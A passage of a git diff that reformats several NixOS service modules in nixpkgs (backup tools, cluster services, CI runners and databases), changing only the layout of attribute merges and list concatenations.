+            ) "${dup} remove-all-inc-of-but-n-full ${toString cfg.cleanup.maxIncr} ${target} --force ${extra}"}
+            exec ${dup} ${if cfg.fullIfOlderThan == "always" then "full" else "incr"} ${
+              lib.escapeShellArgs (
                 [
-                  "--archive-dir"
-                  stateDirectory
+                  cfg.root
+                  cfg.targetUrl
                 ]
-                ++ cfg.extraFlags
-              );
-              dup = "${pkgs.duplicity}/bin/duplicity";
-            in
-            ''
-              set -x
-              ${dup} cleanup ${target} --force ${extra}
-              ${lib.optionalString (
-                cfg.cleanup.maxAge != null
-              ) "${dup} remove-older-than ${lib.escapeShellArg cfg.cleanup.maxAge} ${target} --force ${extra}"}
-              ${lib.optionalString (
-                cfg.cleanup.maxFull != null
-              ) "${dup} remove-all-but-n-full ${toString cfg.cleanup.maxFull} ${target} --force ${extra}"}
-              ${lib.optionalString (
-                cfg.cleanup.maxIncr != null
-              ) "${dup} remove-all-inc-of-but-n-full ${toString cfg.cleanup.maxIncr} ${target} --force ${extra}"}
-              exec ${dup} ${if cfg.fullIfOlderThan == "always" then "full" else "incr"} ${
-                lib.escapeShellArgs (
-                  [
-                    cfg.root
-                    cfg.targetUrl
-                  ]
-                  ++ lib.optionals (cfg.includeFileList != null) [
-                    "--include-filelist"
-                    cfg.includeFileList
-                  ]
-                  ++ lib.optionals (cfg.excludeFileList != null) [
-                    "--exclude-filelist"
-                    cfg.excludeFileList
-                  ]
-                  ++ lib.concatMap (p: [
-                    "--include"
-                    p
-                  ]) cfg.include
-                  ++ lib.concatMap (p: [
-                    "--exclude"
-                    p
-                  ]) cfg.exclude
-                  ++ (lib.optionals (cfg.fullIfOlderThan != "never" && cfg.fullIfOlderThan != "always") [
-                    "--full-if-older-than"
-                    cfg.fullIfOlderThan
-                  ])
-                )
-              } ${extra}
-            '';
-          serviceConfig =
-            {
-              PrivateTmp = true;
-              ProtectSystem = "strict";
-              ProtectHome = "read-only";
-              StateDirectory = baseNameOf stateDirectory;
-            }
-            // lib.optionalAttrs (localTarget != null) {
-              ReadWritePaths = localTarget;
-            }
-            // lib.optionalAttrs (cfg.secretFile != null) {
-              EnvironmentFile = cfg.secretFile;
-            };
+                ++ lib.optionals (cfg.includeFileList != null) [
+                  "--include-filelist"
+                  cfg.includeFileList
+                ]
+                ++ lib.optionals (cfg.excludeFileList != null) [
+                  "--exclude-filelist"
+                  cfg.excludeFileList
+                ]
+                ++ lib.concatMap (p: [
+                  "--include"
+                  p
+                ]) cfg.include
+                ++ lib.concatMap (p: [
+                  "--exclude"
+                  p
+                ]) cfg.exclude
+                ++ (lib.optionals (cfg.fullIfOlderThan != "never" && cfg.fullIfOlderThan != "always") [
+                  "--full-if-older-than"
+                  cfg.fullIfOlderThan
+                ])
+              )
+            } ${extra}
+          '';
+        serviceConfig = {
+          PrivateTmp = true;
+          ProtectSystem = "strict";
+          ProtectHome = "read-only";
+          StateDirectory = baseNameOf stateDirectory;
         }
-        // lib.optionalAttrs (cfg.frequency != null) {
-          startAt = cfg.frequency;
+        // lib.optionalAttrs (localTarget != null) {
+          ReadWritePaths = localTarget;
+        }
+        // lib.optionalAttrs (cfg.secretFile != null) {
+          EnvironmentFile = cfg.secretFile;
         };
+      }
+      // lib.optionalAttrs (cfg.frequency != null) {
+        startAt = cfg.frequency;
+      };
 
       tmpfiles.rules = lib.optional (localTarget != null) "d ${localTarget} 0700 root root -";
     };
diff --git a/nixos/modules/services/backup/pgbackrest.nix b/nixos/modules/services/backup/pgbackrest.nix
index 1e1377818097..381589bc742d 100644
--- a/nixos/modules/services/backup/pgbackrest.nix
+++ b/nixos/modules/services/backup/pgbackrest.nix
@@ -52,13 +52,12 @@ let
       ))
     ];
 
-  fullConfig =
-    {
-      global = normalize (cfg.settings // flattenWithIndex cfg.repos "repo");
-    }
-    // lib.mapAttrs (
-      _: cfg': normalize (cfg'.settings // flattenWithIndex cfg'.instances "pg")
-    ) cfg.stanzas;
+  fullConfig = {
+    global = normalize (cfg.settings // flattenWithIndex cfg.repos "repo");
+  }
+  // lib.mapAttrs (
+    _: cfg': normalize (cfg'.settings // flattenWithIndex cfg'.instances "pg")
+  ) cfg.stanzas;
 
   namedJobs = lib.listToAttrs (
     lib.flatten (
diff --git a/nixos/modules/services/backup/restic.nix b/nixos/modules/services/backup/restic.nix
index 69df4f60d8de..3df51858bce8 100644
--- a/nixos/modules/services/backup/restic.nix
+++ b/nixos/modules/services/backup/restic.nix
@@ -367,54 +367,52 @@ in
       in
       lib.nameValuePair "restic-backups-${name}" (
         {
-          environment =
-            {
-              # not %C, because that wouldn't work in the wrapper script
-              RESTIC_CACHE_DIR = "/var/cache/restic-backups-${name}";
-              RESTIC_PASSWORD_FILE = backup.passwordFile;
-              RESTIC_REPOSITORY = backup.repository;
-              RESTIC_REPOSITORY_FILE = backup.repositoryFile;
-            }
-            // lib.optionalAttrs (backup.rcloneOptions != null) (
-              lib.mapAttrs' (
-                name: value: lib.nameValuePair (rcloneAttrToOpt name) (toRcloneVal value)
-              ) backup.rcloneOptions
-            )
-            // lib.optionalAttrs (backup.rcloneConfigFile != null) {
-              RCLONE_CONFIG = backup.rcloneConfigFile;
-            }
-            // lib.optionalAttrs (backup.rcloneConfig != null) (
-              lib.mapAttrs' (
-                name: value: lib.nameValuePair (rcloneAttrToConf name) (toRcloneVal value)
-              ) backup.rcloneConfig
-            )
-            // lib.optionalAttrs (backup.progressFps != null) {
-              RESTIC_PROGRESS_FPS = toString backup.progressFps;
-            };
+          environment = {
+            # not %C, because that wouldn't work in the wrapper script
+            RESTIC_CACHE_DIR = "/var/cache/restic-backups-${name}";
+            RESTIC_PASSWORD_FILE = backup.passwordFile;
+            RESTIC_REPOSITORY = backup.repository;
+            RESTIC_REPOSITORY_FILE = backup.repositoryFile;
+          }
+          // lib.optionalAttrs (backup.rcloneOptions != null) (
+            lib.mapAttrs' (
+              name: value: lib.nameValuePair (rcloneAttrToOpt name) (toRcloneVal value)
+            ) backup.rcloneOptions
+          )
+          // lib.optionalAttrs (backup.rcloneConfigFile != null) {
+            RCLONE_CONFIG = backup.rcloneConfigFile;
+          }
+          // lib.optionalAttrs (backup.rcloneConfig != null) (
+            lib.mapAttrs' (
+              name: value: lib.nameValuePair (rcloneAttrToConf name) (toRcloneVal value)
+            ) backup.rcloneConfig
+          )
+          // lib.optionalAttrs (backup.progressFps != null) {
+            RESTIC_PROGRESS_FPS = toString backup.progressFps;
+          };
           path = [ config.programs.ssh.package ];
           restartIfChanged = false;
           wants = [ "network-online.target" ];
           after = [ "network-online.target" ];
-          serviceConfig =
-            {
-              Type = "oneshot";
-              ExecStart =
-                (lib.optionals doBackup [
-                  "${resticCmd} backup ${
-                    lib.concatStringsSep " " (backup.extraBackupArgs ++ excludeFlags)
-                  } --files-from=${filesFromTmpFile}"
-                ])
-                ++ pruneCmd
-                ++ checkCmd;
-              User = backup.user;
-              RuntimeDirectory = "restic-backups-${name}";
-              CacheDirectory = "restic-backups-${name}";
-              CacheDirectoryMode = "0700";
-              PrivateTmp = true;
-            }
-            // lib.optionalAttrs (backup.environmentFile != null) {
-              EnvironmentFile = backup.environmentFile;
-            };
+          serviceConfig = {
+            Type = "oneshot";
+            ExecStart =
+              (lib.optionals doBackup [
+                "${resticCmd} backup ${
+                  lib.concatStringsSep " " (backup.extraBackupArgs ++ excludeFlags)
+                } --files-from=${filesFromTmpFile}"
+              ])
+              ++ pruneCmd
+              ++ checkCmd;
+            User = backup.user;
+            RuntimeDirectory = "restic-backups-${name}";
+            CacheDirectory = "restic-backups-${name}";
+            CacheDirectoryMode = "0700";
+            PrivateTmp = true;
+          }
+          // lib.optionalAttrs (backup.environmentFile != null) {
+            EnvironmentFile = backup.environmentFile;
+          };
         }
         // lib.optionalAttrs (backup.initialize || doBackup || backup.backupPrepareCommand != null) {
           preStart = ''
diff --git a/nixos/modules/services/backup/snapraid.nix b/nixos/modules/services/backup/snapraid.nix
index 32e5cf630ffd..19bf7ea2cf85 100644
--- a/nixos/modules/services/backup/snapraid.nix
+++ b/nixos/modules/services/backup/snapraid.nix
@@ -191,50 +191,49 @@ in
         snapraid-sync = {
           description = "Synchronize the state of the SnapRAID array";
           startAt = sync.interval;
-          serviceConfig =
-            {
-              Type = "oneshot";
-              ExecStart = "${pkgs.snapraid}/bin/snapraid sync";
-              Nice = 19;
-              IOSchedulingPriority = 7;
-              CPUSchedulingPolicy = "batch";
+          serviceConfig = {
+            Type = "oneshot";
+            ExecStart = "${pkgs.snapraid}/bin/snapraid sync";
+            Nice = 19;
+            IOSchedulingPriority = 7;
+            CPUSchedulingPolicy = "batch";
 
-              LockPersonality = true;
-              MemoryDenyWriteExecute = true;
-              NoNewPrivileges = true;
-              PrivateTmp = true;
-              ProtectClock = true;
-              ProtectControlGroups = true;
-              ProtectHostname = true;
-              ProtectKernelLogs = true;
-              ProtectKernelModules = true;
-              ProtectKernelTunables = true;
-              RestrictAddressFamilies = "none";
-              RestrictNamespaces = true;
-              RestrictRealtime = true;
-              RestrictSUIDSGID = true;
-              SystemCallArchitectures = "native";
-              SystemCallFilter = "@system-service";
-              SystemCallErrorNumber = "EPERM";
-              CapabilityBoundingSet = "CAP_DAC_OVERRIDE" + lib.optionalString cfg.touchBeforeSync " CAP_FOWNER";
+            LockPersonality = true;
+            MemoryDenyWriteExecute = true;
+            NoNewPrivileges = true;
+            PrivateTmp = true;
+            ProtectClock = true;
+            ProtectControlGroups = true;
+            ProtectHostname = true;
+            ProtectKernelLogs = true;
+            ProtectKernelModules = true;
+            ProtectKernelTunables = true;
+            RestrictAddressFamilies = "none";
+            RestrictNamespaces = true;
+            RestrictRealtime = true;
+            RestrictSUIDSGID = true;
+            SystemCallArchitectures = "native";
+            SystemCallFilter = "@system-service";
+            SystemCallErrorNumber = "EPERM";
+            CapabilityBoundingSet = "CAP_DAC_OVERRIDE" + lib.optionalString cfg.touchBeforeSync " CAP_FOWNER";
 
-              ProtectSystem = "strict";
-              ProtectHome = "read-only";
-              ReadWritePaths =
-                # sync requires access to directories containing content files
-                # to remove them if they are stale
-                let
-                  contentDirs = map dirOf contentFiles;
-                  # Multiple "split" parity files can be specified in a single
-                  # "parityFile", separated by a comma.
-                  # https://www.snapraid.it/manual#7.1
-                  splitParityFiles = map (s: lib.splitString "," s) parityFiles;
-                in
-                lib.unique (lib.attrValues dataDisks ++ splitParityFiles ++ contentDirs);
-            }
-            // lib.optionalAttrs touchBeforeSync {
-              ExecStartPre = "${pkgs.snapraid}/bin/snapraid touch";
-            };
+            ProtectSystem = "strict";
+            ProtectHome = "read-only";
+            ReadWritePaths =
+              # sync requires access to directories containing content files
+              # to remove them if they are stale
+              let
+                contentDirs = map dirOf contentFiles;
+                # Multiple "split" parity files can be specified in a single
+                # "parityFile", separated by a comma.
+                # https://www.snapraid.it/manual#7.1
+                splitParityFiles = map (s: lib.splitString "," s) parityFiles;
+              in
+              lib.unique (lib.attrValues dataDisks ++ splitParityFiles ++ contentDirs);
+          }
+          // lib.optionalAttrs touchBeforeSync {
+            ExecStartPre = "${pkgs.snapraid}/bin/snapraid touch";
+          };
         };
       };
     };
diff --git a/nixos/modules/services/cluster/druid/default.nix b/nixos/modules/services/cluster/druid/default.nix
index d22a3f223678..86fa1e483a25 100644
--- a/nixos/modules/services/cluster/druid/default.nix
+++ b/nixos/modules/services/cluster/druid/default.nix
@@ -253,7 +253,8 @@ in
 
       tmpDirs = [
         (attrByPath [ "druid.lookup.snapshotWorkingDir" ] "" cfg."${name}".config)
-      ] ++ (map (x: x.path) cfg."${name}".segmentLocations);
+      ]
+      ++ (map (x: x.path) cfg."${name}".segmentLocations);
 
       allowedTCPPorts = [ (attrByPath [ "druid.plaintextPort" ] 8083 cfg."${name}".config) ];
 
@@ -266,7 +267,8 @@ in
 
       tmpDirs = [
         "/var/log/druid/indexer"
-      ] ++ [ (attrByPath [ "druid.indexer.task.baseTaskDir" ] "" cfg."${name}".config) ];
+      ]
+      ++ [ (attrByPath [ "druid.indexer.task.baseTaskDir" ] "" cfg."${name}".config) ];
 
       allowedTCPPorts = [ (attrByPath [ "druid.plaintextPort" ] 8091 cfg."${name}".config) ];
 
diff --git a/nixos/modules/services/cluster/hadoop/hbase.nix b/nixos/modules/services/cluster/hadoop/hbase.nix
index 1d63530406c2..06af0a21811e 100644
--- a/nixos/modules/services/cluster/hadoop/hbase.nix
+++ b/nixos/modules/services/cluster/hadoop/hbase.nix
@@ -146,65 +146,64 @@ in
       '';
     };
 
-    hbase =
-      {
+    hbase = {
 
-        package = lib.mkPackageOption pkgs "hbase" { };
+      package = lib.mkPackageOption pkgs "hbase" { };
 
-        rootdir = lib.mkOption {
-          description = ''
-            This option will set "hbase.rootdir" in hbase-site.xml and determine
-            the directory shared by region servers and into which HBase persists.
-            The URL should be 'fully-qualified' to include the filesystem scheme.
-            If a core-site.xml is provided, the FS scheme defaults to the value
-            of "fs.defaultFS".
+      rootdir = lib.mkOption {
+        description = ''
+          This option will set "hbase.rootdir" in hbase-site.xml and determine
+          the directory shared by region servers and into which HBase persists.
+          The URL should be 'fully-qualified' to include the filesystem scheme.
+          If a core-site.xml is provided, the FS scheme defaults to the value
+          of "fs.defaultFS".
 
-            Filesystems other than HDFS (like S3, QFS, Swift) are also supported.
-          '';
-          type = lib.types.str;
-          example = "hdfs://nameservice1/hbase";
-          default = "/hbase";
+          Filesystems other than HDFS (like S3, QFS, Swift) are also supported.
+        '';
+        type = lib.types.str;
+        example = "hdfs://nameservice1/hbase";
+        default = "/hbase";
+      };
+      zookeeperQuorum = lib.mkOption {
+        description = ''
+          This option will set "hbase.zookeeper.quorum" in hbase-site.xml.
+          Comma separated list of servers in the ZooKeeper ensemble.
+        '';
+        type = with lib.types; nullOr commas;
+        example = "zk1.internal,zk2.internal,zk3.internal";
+        default = null;
+      };
+    }
+    // (
+      let
+        ports = port: infoPort: {
+          port = lib.mkOption {
+            type = lib.types.int;
+            default = port;
+            description = "RPC port";
+          };
+          infoPort = lib.mkOption {
+            type = lib.types.int;
+            default = infoPort;
+            description = "web UI port";
+          };
         };
-        zookeeperQuorum = lib.mkOption {
+      in
+      lib.mapAttrs hbaseRoleOption {
+        master.initHDFS = lib.mkEnableOption "initialization of the hbase directory on HDFS";
+        regionServer.overrideHosts = lib.mkOption {
+          type = lib.types.bool;
+          default = true;
           description = ''
-            This option will set "hbase.zookeeper.quorum" in hbase-site.xml.
-            Comma separated list of servers in the ZooKeeper ensemble.
+            Remove /etc/hosts entries for "127.0.0.2" and "::1" defined in nixos/modules/config/networking.nix
+            Regionservers must be able to resolve their hostnames to their IP addresses, through PTR records
+            or /etc/hosts entries.
           '';
-          type = with lib.types; nullOr commas;
-          example = "zk1.internal,zk2.internal,zk3.internal";
-          default = null;
         };
+        thrift = ports 9090 9095;
+        rest = ports 8080 8085;
       }
-      // (
-        let
-          ports = port: infoPort: {
-            port = lib.mkOption {
-              type = lib.types.int;
-              default = port;
-              description = "RPC port";
-            };
-            infoPort = lib.mkOption {
-              type = lib.types.int;
-              default = infoPort;
-              description = "web UI port";
-            };
-          };
-        in
-        lib.mapAttrs hbaseRoleOption {
-          master.initHDFS = lib.mkEnableOption "initialization of the hbase directory on HDFS";
-          regionServer.overrideHosts = lib.mkOption {
-            type = lib.types.bool;
-            default = true;
-            description = ''
-              Remove /etc/hosts entries for "127.0.0.2" and "::1" defined in nixos/modules/config/networking.nix
-              Regionservers must be able to resolve their hostnames to their IP addresses, through PTR records
-              or /etc/hosts entries.
-            '';
-          };
-          thrift = ports 9090 9095;
-          rest = ports 8080 8085;
-        }
-      );
+    );
   };
 
   config = lib.mkMerge (
diff --git a/nixos/modules/services/cluster/kubernetes/apiserver.nix b/nixos/modules/services/cluster/kubernetes/apiserver.nix
index d8e99f4f71de..3ab4dbeafdf5 100644
--- a/nixos/modules/services/cluster/kubernetes/apiserver.nix
+++ b/nixos/modules/services/cluster/kubernetes/apiserver.nix
@@ -492,7 +492,8 @@ in
             top.masterAddress
             apiserverServiceIP
             "127.0.0.1"
-          ] ++ cfg.extraSANs;
+          ]
+          ++ cfg.extraSANs;
           action = "systemctl restart kube-apiserver.service";
         };
         apiserverProxyClient = mkCert {
diff --git a/nixos/modules/services/computing/foldingathome/client.nix b/nixos/modules/services/computing/foldingathome/client.nix
index b1a60416215e..58d2e77be5b0 100644
--- a/nixos/modules/services/computing/foldingathome/client.nix
+++ b/nixos/modules/services/computing/foldingathome/client.nix
@@ -7,16 +7,15 @@
 let
   cfg = config.services.foldingathome;
 
-  args =
-    [
-      "--team"
-      "${toString cfg.team}"
-    ]
-    ++ lib.optionals (cfg.user != null) [
-      "--user"
-      cfg.user
-    ]
-    ++ cfg.extraArgs;
+  args = [
+    "--team"
+    "${toString cfg.team}"
+  ]
+  ++ lib.optionals (cfg.user != null) [
+    "--user"
+    cfg.user
+  ]
+  ++ cfg.extraArgs;
 in
 {
   imports = [
diff --git a/nixos/modules/services/computing/slurm/slurm.nix b/nixos/modules/services/computing/slurm/slurm.nix
index 7a1c2437732c..4d01d4533f67 100644
--- a/nixos/modules/services/computing/slurm/slurm.nix
+++ b/nixos/modules/services/computing/slurm/slurm.nix
@@ -57,7 +57,8 @@ let
       cgroupConfig
       plugStackConfig
       mpiConf
-    ] ++ cfg.extraConfigPaths;
+    ]
+    ++ cfg.extraConfigPaths;
   };
 in
 
diff --git a/nixos/modules/services/continuous-integration/gitea-actions-runner.nix b/nixos/modules/services/continuous-integration/gitea-actions-runner.nix
index b4bb4d687920..52009e6e9cef 100644
--- a/nixos/modules/services/continuous-integration/gitea-actions-runner.nix
+++ b/nixos/modules/services/continuous-integration/gitea-actions-runner.nix
@@ -197,16 +197,15 @@ in
             inherit (instance) enable;
             description = "Gitea Actions Runner";
             wants = [ "network-online.target" ];
-            after =
-              [
-                "network-online.target"
-              ]
-              ++ optionals (wantsDocker) [
-                "docker.service"
-              ]
-              ++ optionals (wantsPodman) [
-                "podman.service"
-              ];
+            after = [
+              "network-online.target"
+            ]
+            ++ optionals (wantsDocker) [
+              "docker.service"
+            ]
+            ++ optionals (wantsPodman) [
+              "podman.service"
+            ];
             wantedBy = [
               "multi-user.target"
             ];
@@ -226,58 +225,57 @@ in
                 coreutils
               ]
               ++ lib.optionals wantsHost instance.hostPackages;
-            serviceConfig =
-              {
-                DynamicUser = true;
-                User = "gitea-runner";
-                StateDirectory = "gitea-runner";
-                WorkingDirectory = "-/var/lib/gitea-runner/${name}";
+            serviceConfig = {
+              DynamicUser = true;
+              User = "gitea-runner";
+              StateDirectory = "gitea-runner";
+              WorkingDirectory = "-/var/lib/gitea-runner/${name}";
 
-                # gitea-runner might fail when gitea is restarted during upgrade.
-                Restart = "on-failure";
-                RestartSec = 2;
+              # gitea-runner might fail when gitea is restarted during upgrade.
+              Restart = "on-failure";
+              RestartSec = 2;
 
-                ExecStartPre = [
-                  (pkgs.writeShellScript "gitea-register-runner-${name}" ''
-                    export INSTANCE_DIR="$STATE_DIRECTORY/${name}"
-                    mkdir -vp "$INSTANCE_DIR"
-                    cd "$INSTANCE_DIR"
+              ExecStartPre = [
+                (pkgs.writeShellScript "gitea-register-runner-${name}" ''
+                  export INSTANCE_DIR="$STATE_DIRECTORY/${name}"
+                  mkdir -vp "$INSTANCE_DIR"
+                  cd "$INSTANCE_DIR"
 
-                    # force reregistration on changed labels
-                    export LABELS_FILE="$INSTANCE_DIR/.labels"
-                    export LABELS_WANTED="$(echo ${escapeShellArg (concatStringsSep "\n" instance.labels)} | sort)"
-                    export LABELS_CURRENT="$(cat $LABELS_FILE 2>/dev/null || echo 0)"
+                  # force reregistration on changed labels
+                  export LABELS_FILE="$INSTANCE_DIR/.labels"
+                  export LABELS_WANTED="$(echo ${escapeShellArg (concatStringsSep "\n" instance.labels)} | sort)"
+                  export LABELS_CURRENT="$(cat $LABELS_FILE 2>/dev/null || echo 0)"
 
-                    if [ ! -e "$INSTANCE_DIR/.runner" ] || [ "$LABELS_WANTED" != "$LABELS_CURRENT" ]; then
-                      # remove existing registration file, so that changing the labels forces a re-registration
-                      rm -v "$INSTANCE_DIR/.runner" || true
+                  if [ ! -e "$INSTANCE_DIR/.runner" ] || [ "$LABELS_WANTED" != "$LABELS_CURRENT" ]; then
+                    # remove existing registration file, so that changing the labels forces a re-registration
+                    rm -v "$INSTANCE_DIR/.runner" || true
 
-                      # perform the registration
-                      ${cfg.package}/bin/act_runner register --no-interactive \
-                        --instance ${escapeShellArg instance.url} \
-                        --token "$TOKEN" \
-                        --name ${escapeShellArg instance.name} \
-                        --labels ${escapeShellArg (concatStringsSep "," instance.labels)} \
-                        --config ${configFile}
+                    # perform the registration
+                    ${cfg.package}/bin/act_runner register --no-interactive \
+                      --instance ${escapeShellArg instance.url} \
+                      --token "$TOKEN" \
+                      --name ${escapeShellArg instance.name} \
+                      --labels ${escapeShellArg (concatStringsSep "," instance.labels)} \
+                      --config ${configFile}
 
-                      # and write back the configured labels
-                      echo "$LABELS_WANTED" > "$LABELS_FILE"
-                    fi
+                    # and write back the configured labels
+                    echo "$LABELS_WANTED" > "$LABELS_FILE"
+                  fi
 
-                  '')
+                '')
+              ];
+              ExecStart = "${cfg.package}/bin/act_runner daemon --config ${configFile}";
+              SupplementaryGroups =
+                optionals (wantsDocker) [
+                  "docker"
+                ]
+                ++ optionals (wantsPodman) [
+                  "podman"
                 ];
-                ExecStart = "${cfg.package}/bin/act_runner daemon --config ${configFile}";
-                SupplementaryGroups =
-                  optionals (wantsDocker) [
-                    "docker"
-                  ]
-                  ++ optionals (wantsPodman) [
-                    "podman"
-                  ];
-              }
-              // optionalAttrs (instance.tokenFile != null) {
-                EnvironmentFile = instance.tokenFile;
-              };
+            }
+            // optionalAttrs (instance.tokenFile != null) {
+              EnvironmentFile = instance.tokenFile;
+            };
           };
       in
       mapAttrs' mkRunnerService cfg.instances;
diff --git a/nixos/modules/services/continuous-integration/github-runner/service.nix b/nixos/modules/services/continuous-integration/github-runner/service.nix
index edf93417d205..d40b51da0eef 100644
--- a/nixos/modules/services/continuous-integration/github-runner/service.nix
+++ b/nixos/modules/services/continuous-integration/github-runner/service.nix
@@ -59,7 +59,8 @@
         environment = {
           HOME = workDir;
           RUNNER_ROOT = stateDir;
-        } // cfg.extraEnvironment;
+        }
+        // cfg.extraEnvironment;
 
         path =
           (with pkgs; [
diff --git a/nixos/modules/services/continuous-integration/gitlab-runner.nix b/nixos/modules/services/continuous-integration/gitlab-runner.nix
index f68460c86c91..ed9a10cff6ed 100644
--- a/nixos/modules/services/continuous-integration/gitlab-runner.nix
+++ b/nixos/modules/services/continuous-integration/gitlab-runner.nix
@@ -68,18 +68,19 @@ let
   configPath = ''"$HOME"/.gitlab-runner/config.toml'';
   configureScript = pkgs.writeShellApplication {
     name = "gitlab-runner-configure";
-    runtimeInputs =
-      [ cfg.package ]
-      ++ (with pkgs; [
-        bash
-        gawk
-        jq
-        moreutils
-        remarshal
-        util-linux
-        perl
-        python3
-      ]);
+    runtimeInputs = [
+      cfg.package
+    ]
+    ++ (with pkgs; [
+      bash
+      gawk
+      jq
+      moreutils
+      remarshal
+      util-linux
+      perl
+      python3
+    ]);
     text =
       if (cfg.configFile != null) then
         ''
@@ -775,8 +776,11 @@ in
     systemd.services.gitlab-runner = {
       description = "Gitlab Runner";
       documentation = [ "https://docs.gitlab.com/runner/" ];
-      after =
-        [ "network.target" ] ++ optional hasDocker "docker.service" ++ optional hasPodman "podman.service";
+      after = [
+        "network.target"
+      ]
+      ++ optional hasDocker "docker.service"
+      ++ optional hasPodman "podman.service";
 
       requires = optional hasDocker "docker.service" ++ optional hasPodman "podman.service";
       wantedBy = [ "multi-user.target" ];
@@ -797,24 +801,23 @@ in
         ++ cfg.extraPackages;
 
       reloadIfChanged = true;
-      serviceConfig =
-        {
-          # Set `DynamicUser` under `systemd.services.gitlab-runner.serviceConfig`
-          # to `lib.mkForce false` in your configuration to run this service as root.
-          # You can also set `User` and `Group` options to run this service as desired user.
-          # Make sure to restart service or changes won't apply.
-          DynamicUser = true;
-          StateDirectory = "gitlab-runner";
-          SupplementaryGroups = optional hasDocker "docker" ++ optional hasPodman "podman";
-          ExecStartPre = "!${configureScript}/bin/gitlab-runner-configure";
-          ExecStart = "${startScript}/bin/gitlab-runner-start";
-          ExecReload = "!${configureScript}/bin/gitlab-runner-configure";
-        }
-        // optionalAttrs cfg.gracefulTermination {
-          TimeoutStopSec = "${cfg.gracefulTimeout}";
-          KillSignal = "SIGQUIT";
-          KillMode = "process";
-        };
+      serviceConfig = {
+        # Set `DynamicUser` under `systemd.services.gitlab-runner.serviceConfig`
+        # to `lib.mkForce false` in your configuration to run this service as root.
+        # You can also set `User` and `Group` options to run this service as desired user.
+        # Make sure to restart service or changes won't apply.
+        DynamicUser = true;
+        StateDirectory = "gitlab-runner";
+        SupplementaryGroups = optional hasDocker "docker" ++ optional hasPodman "podman";
+        ExecStartPre = "!${configureScript}/bin/gitlab-runner-configure";
+        ExecStart = "${startScript}/bin/gitlab-runner-start";
+        ExecReload = "!${configureScript}/bin/gitlab-runner-configure";
+      }
+      // optionalAttrs cfg.gracefulTermination {
+        TimeoutStopSec = "${cfg.gracefulTimeout}";
+        KillSignal = "SIGQUIT";
+        KillMode = "process";
+      };
     };
     # Enable periodic clear-docker-cache script
     systemd.services.gitlab-runner-clear-docker-cache =
diff --git a/nixos/modules/services/continuous-integration/hydra/default.nix b/nixos/modules/services/continuous-integration/hydra/default.nix
index df586356306a..727773549d3d 100644
--- a/nixos/modules/services/continuous-integration/hydra/default.nix
+++ b/nixos/modules/services/continuous-integration/hydra/default.nix
@@ -18,18 +18,17 @@ let
     HYDRA_DATA = "${baseDir}";
   };
 
-  env =
-    {
-      NIX_REMOTE = "daemon";
-      PGPASSFILE = "${baseDir}/pgpass";
-      NIX_REMOTE_SYSTEMS = lib.concatStringsSep ":" cfg.buildMachinesFiles;
-    }
-    // lib.optionalAttrs (cfg.smtpHost != null) {
-      EMAIL_SENDER_TRANSPORT = "SMTP";
-      EMAIL_SENDER_TRANSPORT_host = cfg.smtpHost;
-    }
-    // hydraEnv
-    // cfg.extraEnv;
+  env = {
+    NIX_REMOTE = "daemon";
+    PGPASSFILE = "${baseDir}/pgpass";
+    NIX_REMOTE_SYSTEMS = lib.concatStringsSep ":" cfg.buildMachinesFiles;
+  }
+  // lib.optionalAttrs (cfg.smtpHost != null) {
+    EMAIL_SENDER_TRANSPORT = "SMTP";
+    EMAIL_SENDER_TRANSPORT_host = cfg.smtpHost;
+  }
+  // hydraEnv
+  // cfg.extraEnv;
 
   serverEnv =
     env
diff --git a/nixos/modules/services/continuous-integration/jenkins/default.nix b/nixos/modules/services/continuous-integration/jenkins/default.nix
index c76aac1fa7de..038693d1e859 100644
--- a/nixos/modules/services/continuous-integration/jenkins/default.nix
+++ b/nixos/modules/services/continuous-integration/jenkins/default.nix
@@ -171,7 +171,8 @@ in
       # server references the dejavu fonts
       systemPackages = [
         pkgs.dejavu_fonts
-      ] ++ lib.optional cfg.withCLI cfg.package;
+      ]
+      ++ lib.optional cfg.withCLI cfg.package;
 
       variables =
         { }
diff --git a/nixos/modules/services/databases/couchdb.nix b/nixos/modules/services/databases/couchdb.nix
index 030df2e7c9fd..46de0df0ee61 100644
--- a/nixos/modules/services/databases/couchdb.nix
+++ b/nixos/modules/services/databases/couchdb.nix
@@ -37,13 +37,12 @@ let
   # 2. the module configuration
   # 3. the extraConfigFiles from the module options
   # 4. the locally writable config file, which couchdb itself writes to
-  configFiles =
-    [
-      "${cfg.package}/etc/default.ini"
-      optionsConfigFile
-    ]
-    ++ cfg.extraConfigFiles
-    ++ [ cfg.configFile ];
+  configFiles = [
+    "${cfg.package}/etc/default.ini"
+    optionsConfigFile
+  ]
+  ++ cfg.extraConfigFiles
+  ++ [ cfg.configFile ];
   executable = "${cfg.package}/bin/couchdb";
 in
 {
diff --git a/nixos/modules/services/databases/dgraph.nix b/nixos/modules/services/databases/dgraph.nix
index 81d160052413..38eb7df0bf66 100644
--- a/nixos/modules/services/databases/dgraph.nix
+++ b/nixos/modules/services/databases/dgraph.nix
@@ -133,7 +133,8 @@ in
         DynamicUser = true;
         ExecStart = "${cfg.package}/bin/dgraph zero --my ${cfg.zero.host}:${toString cfg.zero.port}";
         Restart = "on-failure";
-      } // securityOptions;
+      }
+      // securityOptions;
     };
 
     systemd.services.dgraph-alpha = {
@@ -157,7 +158,8 @@ in
               http://localhost:8080/admin
         '';
         Restart = "on-failure";
-      } // securityOptions;
+      }
+      // securityOptions;
     };
   };
 
diff --git a/nixos/modules/services/databases/dragonflydb.nix b/nixos/modules/services/databases/dragonflydb.nix
index 3a7f005fce4f..af6629b10de7 100644
--- a/nixos/modules/services/databases/dragonflydb.nix
+++ b/nixos/modules/services/databases/dragonflydb.nix
@@ -8,18 +8,17 @@ let
   cfg = config.services.dragonflydb;
   dragonflydb = pkgs.dragonflydb;
 
-  settings =
-    {
-      port = cfg.port;
-      dir = "/var/lib/dragonflydb";
-      keys_output_limit = cfg.keysOutputLimit;
-    }
-    // (lib.optionalAttrs (cfg.bind != null) { bind = cfg.bind; })
-    // (lib.optionalAttrs (cfg.requirePass != null) { requirepass = cfg.requirePass; })
-    // (lib.optionalAttrs (cfg.maxMemory != null) { maxmemory = cfg.maxMemory; })
-    // (lib.optionalAttrs (cfg.memcachePort != null) { memcache_port = cfg.memcachePort; })
-    // (lib.optionalAttrs (cfg.dbNum != null) { dbnum = cfg.dbNum; })
-    // (lib.optionalAttrs (cfg.cacheMode != null) { cache_mode = cfg.cacheMode; });
+  settings = {
+    port = cfg.port;
+    dir = "/var/lib/dragonflydb";
+    keys_output_limit = cfg.keysOutputLimit;
+  }
